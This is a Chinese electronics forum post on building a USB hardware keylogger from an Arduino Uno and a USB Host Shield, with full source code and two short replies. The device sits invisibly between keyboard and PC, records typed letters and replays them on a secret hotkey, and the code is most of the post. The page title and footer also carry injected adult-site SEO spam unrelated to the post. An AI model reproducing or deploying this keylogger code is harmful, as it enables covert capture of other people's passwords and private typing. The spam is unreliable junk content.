久久久久久久999_99精品久久精品一区二区爱城_成人欧美一区二区三区在线播放_国产精品日本一区二区不卡视频_国产午夜视频_欧美精品在线观看免费

 找回密碼
 立即注冊

QQ登錄

只需一步,快速開始

搜索
查看: 7677|回復: 2
打印 上一主題 下一主題
收起左側

Arduino打造USB鍵盤記錄器

[復制鏈接]
跳轉到指定樓層
樓主
剛開始玩Arduino 的時候,我嘗試試驗過一個 PS2鍵盤記錄器:將PS2線剝開,接入Arduino Uno。通過分析PS2協議,鍵盤上按鍵隨時會被記錄在ArduinoEEPROM中【參考1】。


完成之后,我就在思考是否有能記錄USB鍵盤的方法。Arduino 本身使用的主控芯片只有16Mhz,作為USBLow Speed設備發送已經力不從心,更不要說直接對USB 信號采樣。后來偶然的機會接觸到了 Arduino USB Host Shield,發現這個Shield 作為 USBHost具有解析USB協議的能力,可以控制USB設備,解析USBKeyboard/Mouse 更是不在話下。
抓到了USB 鍵盤的數據,下面的問題就是如何發送出去。最傳統的方法是直接用 ArduinoLeonardo 這樣帶有USB控制器的板子,但是經過考察,這個型號的SPI部分引腳與Uno差別很大,導致無法直接使用(后面我還會介紹為什么有差別,以及如何解決)。最終找到可以將Uno模擬為USBKeyboard的方法:將Uno上面的Usb轉串口芯片代碼替換為特殊的Firmware【參考2】,從PC端看去是一個USB Keyboard設備。這個方法的優點是百分百兼容USB Host Shield,缺點是無法直接使用IDE下載,必須用USBISP 之類的設備刷寫Uno上的328P 芯片。具體操作可以在【參考3】看到。
最終方案如下:
第一步,使用 USB Host Shield將鍵盤切換到 Boot Protocol 模式,這樣保證所有的USB鍵盤按照統一的格式輸出按鍵信息;
第二步,Arduino 解析USB鍵盤的按鍵信息,解析之后直接存儲到內存中;
第三步,接收到特定的組合鍵后,將USB  鍵盤的按鍵信息從Atmel16u2發出去
整個過程對于PC也是透明的。
下面是USB HID Keyboard Boot Protocol 使用的格式,上面提到的解析過程和最后的再次發送的過程都會遵循該格式。
        
位置
      
內容
  
   
0
  
Modifier keys:
  Bit 0 – 左 CTRL
  Bit 1 - 左 SHIFT
  Bit 2 - 左 ALT
  Bit 3 - 左 GUI
  Bit 4 – 右 CTRL
  Bit 5 - 右 SHIFT
  Bit 6 - 右 ALT
  Bit 7 - 右 GUI

   
1
  
保留

   
2 - 7
  
HID協議定義的鍵值。 這里有6個bytes,可以同時容納6個按鍵

例如:
直接按下 Ctrl Usb Host Shield 將會解析出 01 00 0000  00 00 00 00,抬起后還會解析出0000 00 00  00 00 00 00
分別按下 Alt Shift P 鍵后,UsbHost Shield 將會解析出06 00 13 00 00 00 00 00 ,抬起后還會輸出出0000 00 00  00 00 00 00。我們會將這個組合鍵作為輸出記錄值的觸發條件。

  1. /* MAX3421E USB Host controller LCD/keyboard demonstration */
  2. //#include
  3. #include "Max3421e.h"
  4. #include "Usb.h"

  5. /* keyboard data taken from configuration descriptor */
  6. #define KBD_ADDR        1
  7. #define KBD_EP          1
  8. #define KBD_IF          0
  9. #define EP_MAXPKTSIZE   8
  10. #define EP_POLL         0x0a

  11. #define RECORDBUFSIZE  60

  12. /**/
  13. /* "Sticky keys */
  14. #define CAPSLOCK    (0x39)
  15. #define NUMLOCK     (0x53)
  16. #define SCROLLLOCK  (0x47)
  17. /* Sticky keys output report bitmasks */
  18. #define bmNUMLOCK       0x01
  19. #define bmCAPSLOCK      0x02
  20. #define bmSCROLLLOCK    0x04
  21. /**/
  22. EP_RECORD ep_record[ 2 ];  //endpoint record structure for the keyboard

  23. char buf[ 8 ] = { 0 };      //keyboard buffer
  24. char old_buf[ 8 ] = { 0 };  //last poll
  25. /* Sticky key state */
  26. bool numLock = false;
  27. bool capsLock = false;
  28. bool scrollLock = false;
  29. int addr = 0;

  30. char p = 0;
  31. char KeyRecord[RECORDBUFSIZE];

  32. bool OutputMark = false;

  33. MAX3421E Max;
  34. USB Usb;

  35. void setup() {
  36.   Serial.begin( 9600 );
  37.   //Serial.println("Start");
  38.   Max.powerOn();
  39.   delay( 200 );
  40.   for (int i = 0; i < RECORDBUFSIZE; i++)
  41.   {
  42.     KeyRecord[i] = 0x1D; //Init with 'z'
  43.   }
  44. }

  45. void loop() {
  46.   Max.Task();
  47.   Usb.Task();
  48.   if ( Usb.getUsbTaskState() == USB_STATE_CONFIGURING ) { //wait for addressing state
  49.     kbd_init();
  50.     Usb.setUsbTaskState( USB_STATE_RUNNING );
  51.   }
  52.   if ( Usb.getUsbTaskState() == USB_STATE_RUNNING ) { //poll the keyboard
  53.     kbd_poll();
  54.   }
  55.   if (OutputMark) {
  56.     //Send all data to 16U2
  57.     for (int i = 0; i < RECORDBUFSIZE; i++) {
  58.       //Send all data to 16u2
  59.       Serial.write(0); //Byte 0 == 0
  60.       Serial.write(0); //Byte 1 == 0
  61.       Serial.write(KeyRecord[i]); //Byte 2
  62.       Serial.write(0); //Byte 3
  63.       Serial.write(0); //Byte 4
  64.       Serial.write(0); //Byte 5
  65.       Serial.write(0); //Byte 6
  66.       Serial.write(0); //Byte 7

  67.       Serial.write(0); //Byte 0
  68.       Serial.write(0); //Byte 1
  69.       Serial.write(0); //Byte 2
  70.       Serial.write(0); //Byte 3
  71.       Serial.write(0); //Byte 4
  72.       Serial.write(0); //Byte 5
  73.       Serial.write(0); //Byte 6
  74.       Serial.write(0); //Byte 7

  75.     }
  76.     OutputMark = false;
  77.   }
  78. }
  79. /* Initialize keyboard */
  80. void kbd_init( void )
  81. {
  82.   byte rcode = 0;  //return code
  83.   /**/
  84.   /* Initialize data structures */
  85.   ep_record[ 0 ] = *( Usb.getDevTableEntry( 0, 0 )); //copy endpoint 0 parameters
  86.   ep_record[ 1 ].MaxPktSize = EP_MAXPKTSIZE;
  87.   ep_record[ 1 ].Interval  = EP_POLL;
  88.   ep_record[ 1 ].sndToggle = bmSNDTOG0;
  89.   ep_record[ 1 ].rcvToggle = bmRCVTOG0;
  90.   Usb.setDevTableEntry( 1, ep_record );              //plug kbd.endpoint parameters to devtable
  91.   /* Configure device */
  92.   rcode = Usb.setConf( KBD_ADDR, 0, 1 );
  93.   if ( rcode ) {
  94.     //Serial.print("Error attempting to configure keyboard. Return code :");
  95.     //Serial.println( rcode, HEX );
  96.     while (1); //stop
  97.   }
  98.   /* Set boot protocol */
  99.   rcode = Usb.setProto( KBD_ADDR, 0, 0, 0 );
  100.   if ( rcode ) {
  101.     //Serial.print("Error attempting to configure boot protocol. Return code :");
  102.     //Serial.println( rcode, HEX );
  103.     while ( 1 ); //stop
  104.   }
  105.   delay(2000);
  106.   //Serial.println("Keyboard initialized");
  107. }

  108. /* Poll keyboard and print result */
  109. /* buffer starts at position 2, 0 is modifier key state and 1 is irrelevant */
  110. void kbd_poll( void )
  111. {
  112.   byte i;
  113.   static char leds = 0;
  114.   byte rcode = 0;     //return code

  115.   /* poll keyboard */
  116.   rcode = Usb.inTransfer( KBD_ADDR, KBD_EP, 8, buf );
  117.   if ( rcode != 0 ) {
  118.     return;
  119.   }//if ( rcode..

  120.   i = 0;
  121.   while (i < 8) {
  122.     if (old_buf[i] != buf[i]) {
  123.       i = 0xff;
  124.       break;
  125.     }
  126.     i++;
  127.   }

  128.   if (i == 0xff) { //if new key
  129.     switch ( buf[ 0 ] ) {
  130.       case CAPSLOCK:
  131.         capsLock = ! capsLock;
  132.         leds = ( capsLock ) ? leds |= bmCAPSLOCK : leds &= ~bmCAPSLOCK;       // set or clear bit 1 of LED report byte
  133.         break;
  134.       case NUMLOCK:
  135.         numLock = ! numLock;
  136.         leds = ( numLock ) ? leds |= bmNUMLOCK : leds &= ~bmNUMLOCK;           // set or clear bit 0 of LED report byte
  137.         break;
  138.       case SCROLLLOCK:
  139.         scrollLock = ! scrollLock;
  140.         leds = ( scrollLock ) ? leds |= bmSCROLLLOCK : leds &= ~bmSCROLLLOCK;   // set or clear bit 2 of LED report byte
  141.         break;
  142.       default:
  143.         //By pass all data to 16u2
  144.         Serial.write(buf,8);

  145.         //Save the keyvalue to memory
  146.         for (i = 2; i < 8; i++) {
  147.           if ((buf[i] >= 4) && (buf[i] <= 27)) {
  148.             KeyRecord[p] = buf[i];
  149.             p = (p + 1) % RECORDBUFSIZE;
  150.           }
  151.         }

  152.         //If we get 'Output command', we will output all the data in eeprom
  153.         if ((buf[0] == 0x06) && (buf[2] == 0x13) && (buf[3] == 0x00)) {
  154.           OutputMark = true;
  155.         }

  156.         break;
  157.     }//switch( buf[ i ...

  158.     rcode = Usb.setReport( KBD_ADDR, 0, 1, KBD_IF, 0x02, 0, &leds );

  159.     if ( rcode ) {
  160.       //Serial.print("Set report error: ");
  161.       //Serial.println( rcode, HEX );
  162.     }//if( rcode ...

  163.     for ( i = 0; i < 8; i++ ) {                   //copy new buffer to old
  164.       old_buf[ i ] = buf[ i ];
  165.     }
  166.   }//if (i==0xff) {   //if new key


  167. }
  168. /* compare byte against bytes in old buffer */
  169. bool buf_compare( byte data )
  170. {
  171.   char i;
  172.   for ( i = 0; i < 8; i++ ) {
  173.     if ( old_buf[ i ] == data ) {
  174.       return ( true );
  175.     }
  176.   }
  177.   return ( false );
  178. }

復制代碼

上面的程序架構和之前的USB鍵盤轉藍牙鍵盤的架構是一樣的,具體的設計有興趣的讀者可以在【參考5】看到。
對于按鍵的記錄是這樣的:如果發現解析出來的按鍵信息Byte2-7 不為零才主動存儲在內容中,進行循環覆蓋。當檢測到有左 Alt+Shift+P 按下時,將存儲在內存中的鍵值從USB口再次輸出,此時在PC端打開一個記事本工具即可看到內容。本文主要目標是演示思路,所以這部分代碼并沒有優化,實用性方面較差。




完整代碼下載:
KbByPass.zip (16.9 KB, 下載次數: 14)
Arduino 打造USB鍵盤記錄器.rar (11.49 KB, 下載次數: 15)

分享到:  QQ好友和群QQ好友和群 QQ空間QQ空間 騰訊微博騰訊微博 騰訊朋友騰訊朋友
收藏收藏1 分享淘帖 頂 踩
回復

使用道具 舉報

沙發
ID:80818 發表于 2017-3-13 19:49 | 只看該作者
感謝分享,期待leonardo的實現方案。
回復

使用道具 舉報

板凳
ID:169914 發表于 2017-6-19 20:26 | 只看該作者
奇怪了,我不玩arduino的啊,我玩51單片機的,怎么會發這種貼呢?
回復

使用道具 舉報

您需要登錄后才可以回帖 登錄 | 立即注冊

本版積分規則

手機版|小黑屋|51黑電子論壇 |51黑電子論壇6群 QQ 管理員QQ:125739409;技術交流QQ群281945664

Powered by 單片機教程網

快速回復 返回頂部 返回列表
主站蜘蛛池模板: av网站在线免费观看 | 91精品国产综合久久婷婷香蕉 | 免费福利视频一区二区三区 | 做a视频 | 久久9热| 天天爽夜夜操 | 免费成人高清在线视频 | 日韩一区二区三区视频 | 91一区二区三区 | 国产亚洲区 | 久久久久国产一区二区三区 | 亚洲黄色片免费观看 | 国产一级片一区二区 | 91精品国产高清一区二区三区 | 不卡视频一区 | 亚洲精品一二区 | 国产在线一区二区三区 | 免费黄色的视频 | 日韩欧美在线免费观看视频 | 91av在线免费观看 | 波多野吉衣久久 | 97成人在线| 午夜精品一区二区三区三上悠亚 | 亚洲精品免费在线观看 | 欧美黄色网 | 中文在线播放 | 国产精品7777777 | 97天天干| 日本三级在线 | caoporn免费在线视频 | 欧美一级高潮片免费的 | 一级黄色日本片 | 青青草原综合久久大伊人精品 | 国产精品久久久一区二区三区 | 免费99精品国产自在在线 | 国产精品不卡一区 | 麻豆精品国产91久久久久久 | 高清人人天天夜夜曰狠狠狠狠 | 亚洲第1页 | 在线视频一区二区 | 天天天天天操 |